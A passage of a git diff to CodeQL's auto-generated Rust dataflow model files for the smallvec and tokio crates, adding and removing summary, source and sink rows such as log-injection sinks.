b/rust/ql/lib/ext/generated/smallvec/repo-https-github.com-servo-rust-smallvec-smallvec.model.yml index d0ca9a01761..06b8cdda4be 100644 --- a/rust/ql/lib/ext/generated/smallvec/repo-https-github.com-servo-rust-smallvec-smallvec.model.yml +++ b/rust/ql/lib/ext/generated/smallvec/repo-https-github.com-servo-rust-smallvec-smallvec.model.yml @@ -17,15 +17,20 @@ extensions: - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::index_mut", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::as_mut_slice", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::as_slice", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::drain", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::capacity", "Argument[self].Field[crate::SmallVec::capacity]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::drain", "Argument[self].Field[crate::SmallVec::capacity]", "ReturnValue.Field[crate::Drain::tail_start]", "value", "dfc-generated"] - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::drain_filter", "Argument[0]", "ReturnValue.Field[crate::DrainFilter::pred]", "value", "dfc-generated"] + - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::drain_filter", "Argument[self].Field[crate::SmallVec::capacity]", "ReturnValue.Field[crate::DrainFilter::old_len]", "value", "dfc-generated"] - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::drain_filter", "Argument[self]", "ReturnValue.Field[crate::DrainFilter::vec]", "value", "dfc-generated"] - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::from_buf_and_len", "Argument[1]", "ReturnValue.Field[crate::SmallVec::capacity]", "value", "dfc-generated"] - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::from_buf_and_len_unchecked", "Argument[1]", "ReturnValue.Field[crate::SmallVec::capacity]", "value", "dfc-generated"] - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::from_const_with_len_unchecked", "Argument[1]", "ReturnValue.Field[crate::SmallVec::capacity]", "value", "dfc-generated"] - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::from_raw_parts", "Argument[2]", "ReturnValue.Field[crate::SmallVec::capacity]", "value", "dfc-generated"] + - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::grow", "Argument[0]", "Argument[self].Field[crate::SmallVec::capacity]", "value", "dfc-generated"] - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::into_inner", "Argument[self]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::len", "Argument[self].Field[crate::SmallVec::capacity]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::retain", "Argument[self].Element", "Argument[0].Parameter[0].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::retain_mut", "Argument[self].Element", "Argument[0].Parameter[0].Reference", "value", "dfc-generated"] - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::try_grow", "Argument[0]", "Argument[self].Field[crate::SmallVec::capacity]", "value", "dfc-generated"] - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::next", "Argument[self].Field[crate::tests::MockHintIter::x].Element", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::size_hint", "Argument[self].Field[crate::tests::MockHintIter::hint]", "ReturnValue.Field[0]", "value", "dfc-generated"] @@ -35,6 +40,10 @@ extensions: extensible: sinkModel data: - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::into_inner", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::insert", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::insert", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::remove", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::remove", "Argument[self]", "log-injection", "df-generated"] - addsTo: pack: codeql/rust-all extensible: sourceModel diff --git a/rust/ql/lib/ext/generated/tokio/repo-examples.model.yml b/rust/ql/lib/ext/generated/tokio/repo-examples.model.yml new file mode 100644 index 00000000000..6ad582e06bf --- /dev/null +++ b/rust/ql/lib/ext/generated/tokio/repo-examples.model.yml @@ -0,0 +1,7 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: sourceModel + data: + - ["repo::examples", "crate::connect", "ReturnValue", "remote", "df-generated"] diff --git a/rust/ql/lib/ext/generated/tokio/repo-https-github.com-tokio-rs-tokio-tokio-stream.model.yml b/rust/ql/lib/ext/generated/tokio/repo-https-github.com-tokio-rs-tokio-tokio-stream.model.yml index 76217f9951f..d66baaafdba 100644 --- a/rust/ql/lib/ext/generated/tokio/repo-https-github.com-tokio-rs-tokio-tokio-stream.model.yml +++ b/rust/ql/lib/ext/generated/tokio/repo-https-github.com-tokio-rs-tokio-tokio-stream.model.yml @@ -28,13 +28,10 @@ extensions: - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[0]", "ReturnValue.Field[crate::stream_ext::map_while::MapWhile::stream]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[1]", "ReturnValue.Field[crate::stream_ext::map_while::MapWhile::f]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[0]", "ReturnValue.Field[crate::stream_ext::next::Next::stream]", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::peek", "Argument[self].Field[crate::stream_ext::peekable::Peekable::peek].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::size_hint", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[0]", "ReturnValue.Field[crate::stream_ext::skip::Skip::stream]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[1]", "ReturnValue.Field[crate::stream_ext::skip::Skip::remaining]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[0]", "ReturnValue.Field[crate::stream_ext::skip_while::SkipWhile::stream]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[1]", "ReturnValue.Field[crate::stream_ext::skip_while::SkipWhile::predicate].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::size_hint", "Argument[self].Field[crate::stream_ext::take::Take::remaining]", "ReturnValue.Field[0]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::size_hint", "Argument[self].Field[crate::stream_ext::take::Take::remaining]", "ReturnValue.Field[1].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[0]", "ReturnValue.Field[crate::stream_ext::take::Take::stream]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[1]", "ReturnValue.Field[crate::stream_ext::take::Take::remaining]", "value", "dfc-generated"] @@ -48,8 +45,6 @@ extensions: - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[1]", "ReturnValue.Field[crate::stream_ext::timeout::Timeout::duration]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[1]", "ReturnValue.Field[crate::stream_ext::timeout_repeating::TimeoutRepeating::interval]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[0]", "ReturnValue.Field[crate::stream_ext::try_next::TryNext::inner].Field[crate::stream_ext::next::Next::stream]", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::finalize", "Argument[1].Reference", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::finalize", "Argument[1].Reference", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::as_mut", "Argument[self].Field[crate::wrappers::interval::IntervalStream::inner]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::as_ref", "Argument[self].Field[crate::wrappers::interval::IntervalStream::inner]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::into_inner", "Argument[self].Field[crate::wrappers::interval::IntervalStream::inner]", "ReturnValue", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/tokio/repo-https-github.com-tokio-rs-tokio-tokio-test.model.yml b/rust/ql/lib/ext/generated/tokio/repo-https-github.com-tokio-rs-tokio-tokio-test.model.yml index cff2c622acf..22e6b5e0018 100644 --- a/rust/ql/lib/ext/generated/tokio/repo-https-github.com-tokio-rs-tokio-tokio-test.model.yml +++ b/rust/ql/lib/ext/generated/tokio/repo-https-github.com-tokio-rs-tokio-tokio-test.model.yml @@ -22,3 +22,5 @@ extensions: - ["repo:https://github.com/tokio-rs/tokio:tokio-test", "::deref", "Argument[self].Field[crate::task::Spawn::future]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-test", "::deref_mut", "Argument[self].Field[crate::task::Spawn::future]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-test", "::enter", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-test", "::into_inner", "Argument[self].Field[crate::task::Spawn::future].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-test", "crate::task::spawn", "Argument[0]", "ReturnValue.Field[crate::task::Spawn::future].Reference", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/tokio/repo-https-github.com-tokio-rs-tokio-tokio-util.model.yml b/rust/ql/lib/ext/generated/tokio/repo-https-github.com-tokio-rs-tokio-tokio-util.model.yml index db6e6afc944..dac75811184 100644 --- a/rust/ql/lib/ext/generated/tokio/repo-https-github.com-tokio-rs-tokio-tokio-util.model.yml +++ b/rust/ql/lib/ext/generated/tokio/repo-https-github.com-tokio-rs-tokio-tokio-util.model.yml @@ -118,6 +118,12 @@ extensions: - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new", "Argument[0]", "ReturnValue.Field[crate::io::stream_reader::StreamReader::inner]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::as_mut", "Argument[self].Field[crate::io::sync_bridge::SyncIoBridge::src]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::as_ref", "Argument[self].Field[crate::io::sync_bridge::SyncIoBridge::src]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::read_line", "Argument[self]", "Argument[0]", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::read_until", "Argument[self]", "Argument[1]", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::read", "Argument[self]", "Argument[0]", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::read_exact", "Argument[self]", "Argument[0]", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::read_to_end", "Argument[self]", "Argument[0]", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::read_to_string", "Argument[self]", "Argument[0]", "taint", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::into_inner", "Argument[self].Field[crate::io::sync_bridge::SyncIoBridge::src]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new", "Argument[0]", "ReturnValue.Field[crate::io::sync_bridge::SyncIoBridge::src]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new_with_handle", "Argument[0]", "ReturnValue.Field[crate::io::sync_bridge::SyncIoBridge::src]", "value", "dfc-generated"] @@ -128,7 +134,6 @@ extensions: - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::cancelled", "Argument[self]", "ReturnValue.Field[crate::sync::cancellation_token::WaitForCancellationFuture::cancellation_token]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::cancelled_owned", "Argument[self]", "ReturnValue.Field[crate::sync::cancellation_token::WaitForCancellationFutureOwned::cancellation_token]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::drop_guard", "Argument[self]", "ReturnValue.Field[crate::sync::cancellation_token::guard::DropGuard::inner].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::disarm", "Argument[self].Field[crate::sync::cancellation_token::guard::DropGuard::inner].Field[crate::option::Option::Some(0)]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::notified", "Argument[self].Field[crate::sync::cancellation_token::tree_node::TreeNode::waker]", "ReturnValue.Field[crate::sync::notify::Notified::notify].Reference", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::notified", "Argument[self].Field[crate::sync::cancellation_token::tree_node::TreeNode::waker]", "ReturnValue.Field[crate::sync::notify::Notified::notify]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::into_inner", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] @@ -136,7 +141,6 @@ extensions: - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::clone", "Argument[self].Field[crate::sync::mpsc::PollSender::sender].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::sync::mpsc::PollSender::sender].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::clone", "Argument[self].Field[crate::sync::mpsc::PollSender::sender].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::sync::mpsc::PollSender::state].Field[crate::sync::mpsc::State::Idle(0)]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::abort_send", "Argument[self].Field[crate::sync::mpsc::PollSender::sender].Field[crate::option::Option::Some(0)]", "Argument[self].Field[crate::sync::mpsc::PollSender::state].Field[crate::sync::mpsc::State::Idle(0)]", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::get_ref", "Argument[self].Field[crate::sync::mpsc::PollSender::sender].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new", "Argument[0].Reference", "ReturnValue.Field[crate::sync::mpsc::PollSender::sender].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new", "Argument[0]", "ReturnValue.Field[crate::sync::mpsc::PollSender::sender].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new", "Argument[0]", "ReturnValue.Field[crate::sync::mpsc::PollSender::state].Field[crate::sync::mpsc::State::Idle(0)]", "value", "dfc-generated"] @@ -145,6 +149,7 @@ extensions: - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::clone_inner", "Argument[self].Field[crate::sync::poll_semaphore::PollSemaphore::semaphore].Reference", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::into_inner", "Argument[self].Field[crate::sync::poll_semaphore::PollSemaphore::semaphore]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new", "Argument[0]", "ReturnValue.Field[crate::sync::poll_semaphore::PollSemaphore::semaphore]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new", "Argument[0]", "ReturnValue.Field[crate::sync::reusable_box::ReusableBoxFuture::boxed].Reference", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::try_set", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::as_ref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::as_ref", "Argument[self].Field[crate::task::abort_on_drop::AbortOnDropHandle(0)]", "ReturnValue.Reference", "value", "dfc-generated"] @@ -160,8 +165,6 @@ extensions: - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::clone", "Argument[self].Field[crate::task::task_tracker::TaskTrackerToken::task_tracker]", "ReturnValue.Field[crate::task::task_tracker::TaskTrackerToken::task_tracker]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::task_tracker", "Argument[self].Field[crate::task::task_tracker::TaskTrackerToken::task_tracker]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::deadline", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::peek", "Argument[self].Field[crate::time::delay_queue::DelayQueue::expired].Field[crate::time::delay_queue::Stack::head]", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::poll_expired", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::remove", "Argument[0].Field[crate::time::delay_queue::Key::index]", "ReturnValue.Field[crate::time::delay_queue::Expired::key].Field[crate::time::delay_queue::Key::index]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::try_remove", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::deadline", "Argument[self].Field[crate::time::delay_queue::Expired::deadline]", "ReturnValue", "value", "dfc-generated"] @@ -179,6 +182,7 @@ extensions: - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::push", "Argument[0]", "Argument[self].Field[crate::time::delay_queue::Stack::head].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::elapsed", "Argument[self].Field[crate::time::wheel::Wheel::elapsed]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::insert", "Argument[1]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[0]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::poll", "Argument[0]", "Argument[self].Field[crate::time::wheel::Wheel::elapsed]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new", "Argument[0]", "ReturnValue.Field[crate::time::wheel::level::Level::level]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::next_expiration", "Argument[self].Field[crate::time::wheel::level::Level::level]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::time::wheel::level::Expiration::level]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::codec", "Argument[self].Field[crate::udp::frame::UdpFramed::codec]", "ReturnValue.Reference", "value", "dfc-generated"] @@ -199,8 +203,15 @@ extensions: - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::poll_write", "Argument[1]", "log-injection", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::poll_read", "Argument[1]", "log-injection", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::poll_read", "Argument[1]", "log-injection", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::poll_expired", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::remove", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::reset", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::reset_at", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::try_remove", "Argument[self]", "log-injection", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::index", "Argument[0]", "log-injection", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::index_mut", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::poll", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::poll", "Argument[self]", "log-injection", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::remove", "Argument[self]", "log-injection", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::next_expiration", "Argument[0]", "log-injection", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::next_expiration", "Argument[self]", "log-injection", "df-generated"] diff --git a/rust/ql/lib/ext/generated/tokio/repo-https-github.com-tokio-rs-tokio-tokio.model.yml b/rust/ql/lib/ext/generated/tokio/repo-https-github.com-tokio-rs-tokio-tokio.model.yml index 6790d9d9711..953f797c729 100644 --- a/rust/ql/lib/ext/generated/tokio/repo-https-github.com-tokio-rs-tokio-tokio.model.yml +++ b/rust/ql/lib/ext/generated/tokio/repo-https-github.com-tokio-rs-tokio-tokio.model.yml @@ -9,8 +9,6 @@ extensions: - ["repo:https://github.com/tokio-rs/tokio:tokio", "<&crate::task::wake::Waker as crate::sync::task::atomic_waker::WakerRef>::into_waker", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "<&mut crate::runtime::scheduler::inject::synced::Synced as crate::runtime::scheduler::lock::Lock>::lock", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::is_write_vectored", "Argument[self].Field[crate::MockWriter::vectored]", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_ref", "Argument[self].Field[crate::TempFifo::path]", "ReturnValue.Reference", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_ref", "Argument[self].Field[crate::TempFifo::path]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::mode", "Argument[0]", "Argument[self].Field[crate::fs::dir_builder::DirBuilder::mode].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::mode", "Argument[0]", "ReturnValue.Field[crate::fs::dir_builder::DirBuilder::mode].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::mode", "Argument[self]", "ReturnValue", "value", "dfc-generated"] @@ -18,7 +16,6 @@ extensions: - ["repo:https://github.com/tokio-rs/tokio:tokio", "::recursive", "Argument[0]", "ReturnValue.Field[crate::fs::dir_builder::DirBuilder::recursive]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::recursive", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::set_max_buf_size", "Argument[0]", "Argument[self].Field[crate::fs::file::File::max_buf_size]", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_into_std", "Argument[self].Field[crate::fs::file::File::std]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::fs::file::File::std]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_into_std", "Argument[self]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from", "Argument[0]", "ReturnValue.Field[crate::fs::open_options::OpenOptions(0)]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::append", "Argument[self]", "ReturnValue", "value", "dfc-generated"] @@ -32,8 +29,6 @@ extensions: - ["repo:https://github.com/tokio-rs/tokio:tokio", "::truncate", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::write", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_inner", "Argument[self].Field[crate::fs::read_dir::DirEntry::std]", "ReturnValue.Reference", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::get_mut", "Argument[self].Field[crate::io::async_fd::AsyncFd::inner].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::get_ref", "Argument[self].Field[crate::io::async_fd::AsyncFd::inner].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::ready", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::io::async_fd::AsyncFdReadyGuard::async_fd]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::ready_mut", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::io::async_fd::AsyncFdReadyMutGuard::async_fd]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_io", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] @@ -53,10 +48,7 @@ extensions: - ["repo:https://github.com/tokio-rs/tokio:tokio", "::into_parts", "Argument[self].Field[crate::io::async_fd::AsyncFdTryNewError::inner]", "ReturnValue.Field[0]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::blocking::Blocking::inner].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::bytes", "Argument[self].Field[crate::io::blocking::Buf::buf].Element", "ReturnValue.Reference", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::copy_from", "Argument[1]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::copy_from_bufs", "Argument[1]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::copy_to", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::copy_to", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::len", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from", "Argument[0].Field[crate::io::async_fd::AsyncFdTryNewError::cause]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from", "Argument[0].Field[crate::runtime::blocking::pool::SpawnError::NoThreads(0)]", "ReturnValue", "value", "dfc-generated"] @@ -68,8 +60,6 @@ extensions: - ["repo:https://github.com/tokio-rs/tokio:tokio", "::reader_mut", "Argument[self].Field[crate::io::join::Join::reader]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::writer", "Argument[self].Field[crate::io::join::Join::writer]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::writer_mut", "Argument[self].Field[crate::io::join::Join::writer]", "ReturnValue.Reference", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::deref", "Argument[self].Field[crate::io::poll_evented::PollEvented::io].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::into_inner", "Argument[self].Field[crate::io::poll_evented::PollEvented::io].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new_with_interest_and_handle", "Argument[2]", "ReturnValue.Field[crate::runtime::io::registration::Registration::handle]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::registration", "Argument[self].Field[crate::io::poll_evented::PollEvented::registration]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::advance_mut", "Argument[0]", "Argument[self]", "taint", "df-generated"] @@ -102,6 +92,7 @@ extensions: - ["repo:https://github.com/tokio-rs/tokio:tokio", "::with_capacity", "Argument[1]", "ReturnValue.Field[crate::io::util::buf_reader::BufReader::inner]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from", "Argument[0]", 